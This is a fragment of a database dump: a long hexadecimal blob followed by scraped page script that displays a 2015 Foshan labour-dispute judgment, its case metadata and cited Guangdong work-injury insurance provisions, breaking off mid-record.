76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF1820089****DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC1846672****AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89BDBDD93BB0B55AEE2D64C4A2D8248A753A35D76F42CC1E9C4DF7508A5DB4B463F34CF9FC7ECFE7A696B166C4704993BA9BCCCD6605A6746019E2B3E831BE9A1D62D3462A1360A384A3B9C998900911B8129A3D6A56E63514FF62040C280557FF67F7CEE7C3BD107970F7BA052513D60C6058246EE4056976185D9BE0C101A5C206B18BD730DDEC7C53F78EA7C0051370085292C60011AF0E31925BFC32B15965E1C850077D725DC7CFA966C0AC0D104402B3E80500DFC7D1A3626FCAF9C98421E4D88F92E3A9970E66B3801704C43FB92034813FDB200E5D0FE346F5DCABDDB8E5C40B4693A5CD7F4D78C99A86453B2DBAD19162EE3B56F3D463DF81DC973F90F7033F55F79D83498D7AC18A0DD4CDE56A484190629EA49FC14D2E555ACEA91B4AE10561D29DB710DE5EB28A34D1465CDE3CC9CDD3A1C2E9A72A0FE0DC531DD08D95E14EAD4AAE0EEF0DA3B355488B4D8859CC561393AB7044E0178DF77D20C5CC46B1AD1493B158C3A03912C92B36AC59AB93128CC9D42C30A911B700142FC29B31AB3843C1A426CC62DA10F77CCD62C53F685B5A1EF757F1E44D9800CF4C82EE96C6A437C930B032F4F63F56387AF305C06D45BDB0F7E02236810C91E63D048244B0EC4ADDEA958CDE83389207E8A81B4FF734DB27CF2E3366CC629DEAD7764588BD604904E54297B6B7381450431F447ADD2BF1D71A46B378C9D639D061524CB6E144463183823168E20B9F966A745E2A5324D75B2A865BE8241672FAF0CC7D64C1EA4DDF09737C56CF0583A416CF0345071D6AC54FA5C56289B8E2103103955CE94D9A116A80D500C368463030BAD3846644D6C8FDD7DD025B720242E7C741F77487D39326CDA04DE866D98C1846441F13D104FCBD4B60761E7D53A35E2453576EED35292A108B62CDC8FAA95213081251B091426C33180140728A6661F8ED7D1CD4601F50F7E1F382611214AC4092152486410428553B4A6FD20C1EFFE4F1BE318BD9EDBDA03F43A91770CF69568421799BE66911849AC4DA056C14A966C8347EE35865EBBB15F70AC251CB44D990726F4409553966BC17A415415E9A96DBDFFA78165216934F4F2E734A44B97FD5EC10B75914A3D98B8B1911825259C70A9FBD4935075721F3290316350B1D3B4421141747661561A9620BADD526307B110E77503D3F6C08F5654DBE7D70B0756CC6EDC244036B43DC8A1ABB37031287195009FA4BA4593360104C2D3E158F1475F3AB7A63650326E8AABB10045261FC33C0A06015865526B990070E4324282811EFC526545E6914AB0F51180400FF25A0822D5520A498674B9E07C508901138FBDAED7FC204002000808003042001060007CE35F3160680040401021B86C59A730E0A1B2B30B9AD39F72A1D402A01001562CEB9D73A80020F38222874049C00910A04CAA7EA80FC3769B0360BD590005B1748002C55FF8E894DE88155A4327183BEA1FA235E315DEC8D4D904975390145A8BD776BAAE1E90B551B61867BDD7BED986A41BA88201900B9EE39371A9C8D8A20EFBAE7DCECC0189E0DE519800EAFB977C6B30A','2018-10-11
01:32:03',0,'web',NULL),(24524968,'e135b847-7964-4817-8fb3-a84a009a3f66','$(function(){$(\"#con_llcs\").html(\"浏览：79次\")});$(function(){var
caseinfo=JSON.stringify({\"法院区县\":\"南海区\",\"法院ID\":\"2171\",\"DocContent\":\"\",\"审判程序\":\"一审\",\"文书全文类型\":\"1\",\"案号\":\"（2015）佛南法民一初字第880、916号\",\"不公开理由\":\"\",\"法院地市\":\"佛山市\",\"法院省份\":\"广东\",\"上传日期\":\"\\\/Date(1513267200000)\\\/\",\"案件类型\":\"2\",\"文书ID\":\"e135b847-7964-4817-8fb3-a84a009a3f66\",\"案件名称\":\"佛山市南海区盐步顺发摩托车配件厂与梁辉球劳动争议一审民事判决书\",\"法院名称\":\"佛山市南海区人民法院\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"补正文书\":\"2\",\"法院区域\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"本院于2015年5月19日受理了原告佛山市南海区盐步顺发摩托车配件厂与被告梁辉球劳动争议纠纷一案［案号为（2015）佛南法民一初字第880号］，后梁辉球作为原告于2015年5月26日以佛山市南海区盐步顺发摩托车配件厂（下简称顺发摩托车配件厂）为被告向本院提起了诉讼［案号为（2015）佛南法民一初字第916号］。顺发摩托车配件厂、梁辉球均不服佛南劳人仲案字［2015］928号仲裁裁决书而提起诉讼，而顺发摩托车配件厂先于梁辉球起诉，根据《最高人民法院关于审理劳动争议案件适用法律若干问题的解释》第九��的规定，先起诉的一方当事人为原告,故顺发摩托车配件厂列为原告，梁辉球列为被告，本院对两案合并审理且一并作出判决。两案依法适用简易程序于同年7月13日、9月1日两次公开开庭进行了审理。两次开庭，原告的经营者罗悦响及委托代理人张涛、被告的委托代理人李飞华均到庭参加了诉讼。原、被告在两案审理过程中申请庭外和解37天，本院予以准许。两案现已审理终结\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"佛山市南海区盐步顺发摩托车配件厂与梁辉球劳动争议一审民事判决书\");$(\"#tdSource\").html(\"佛山市南海区盐步顺发摩托车配件厂与梁辉球劳动争议一审民事判决书
（2015）佛南法民一初字第880、916号\");$(\"#hidDocID\").val(\"e135b847-7964-4817-8fb3-a84a009a3f66\");$(\"#hidCaseName\").val(\"佛山市南海区盐步顺发摩托车配件厂与梁辉球劳动争议一审民事判决书\");$(\"#hidCaseNumber\").val(\"（2015）佛南法民一初字第880、916号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"佛山市南海区人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"2171\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"佛山市南海区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"劳动争议\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2015-09-16\" },{ name: \"当事人\", key:
\"appellor\", value: \"佛山市南海区盐步顺发摩托车配件厂,梁辉球\" }],LegalBase:
[{法规名称:\'《广东省工伤保险条例（2011年）》\',Items:[{法条名称:\'第二十六条第一款\',法条内容:\'
第二十六条职工因工伤需要暂停工作接受工伤医疗的，在停工留薪期内，原工资福利待遇不变，由所在单位按月支付。停工留薪期根据医疗终结期确定，由劳动能力鉴定委员会确认，最长不超过二十四个月。
工伤职工鉴定伤残等级后，停发原待遇，按照本章的有关规定享受伤残待遇。工伤职工在鉴定伤残等级后仍需治疗的，经劳动能力鉴定委员会批准，一级至四级伤残，享受伤残津贴和工伤医疗待遇；五级至十级伤残，享受工伤医疗和停工留薪期待遇。
经劳动能力鉴定委员会确认可以进行康复的，工伤职工在签订服务协议的康复机构发生的符合规定的工伤康复费用，从工伤保险基金支付。
工伤职工在停工留薪期间生活不能自理需要护理的，由所在单位负责。所在单位未派人护理的，应当参照当地护工从事同等级别护理的劳务报酬标准向工伤职工支付护理费。
\'},{法条名称:\'第三十四条第一款\',法条内容:\'
第三十四条职工因工致残被鉴定为七级至十级伤残的，由工伤保险基金支付一次性伤残补助金，标准为：七级伤残为十三个月的本人工资，八级伤残为十一个月的本人工资，九级伤残为九个月的本人工资，十级伤残为七个月的本人工资。
七级至十级伤残职工依法与用人单位解除或者终止劳动关系的，由工伤保险基金支付一次性工伤医疗补助金，由用人单位支付一次性伤残就业补助金，终结工伤保险关系：
（一）一次性工伤医疗补助金。标准为：七级伤残为六个月的本人工资，八级伤残为四个月的本人工资，九级伤残为二个月的本人工资，十级伤残为一个月的本人工资。
（二）一次性伤残就业补助金。标准为：七级伤残为二十五个月的本人工资，八级伤残为十五个月的本人工资，九级伤残为八个月的本人工资，十级伤残为四个月的本人工资。
\'},{法条名称:\'第三十五条\',法条内容:\'
第三十五条
计发本条例第三十三条、第三十四条规定的一次性工伤医疗补助金和一次性伤残就业补助金，本人工资低于工伤职工与用人单位解除或者终止劳动关系前本人十二个月平均月缴费工资的，按照解除或者终止劳动关系前本人十二个月平均月缴费工资为基数计发。缴费工资不足十二个月的，以实际缴费月数计算本人平均月缴费工资。本人平均月缴费工资高于统筹地区职工平均工资百分之三百的，按照统筹地区职工平均工资的百分之三百计算；低于统筹地区职工平均工资百分之六十的，按照统筹地区职工平均工资的百分之六十计算。
\'},{法条名称:\'第五十八条\',法条内容:\'
第五十八条
用人单位少报职工工资，未足额缴纳工伤保险费，造成工伤职工享受的工伤保险待遇降低的，工伤保险待遇差额部分由用人单位向工伤职工补足。
\'}]},{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第六十四条\',法条内容:\'第六十四条
系统尚未收录或引用有误
\'}]}]};if ($(\"#divTool_Summary\").length > 0)
{$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"佛山市南海区盐步顺发摩托车配件厂与梁辉球劳动争议一审民事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2017-12-15\\\\\",\\\\\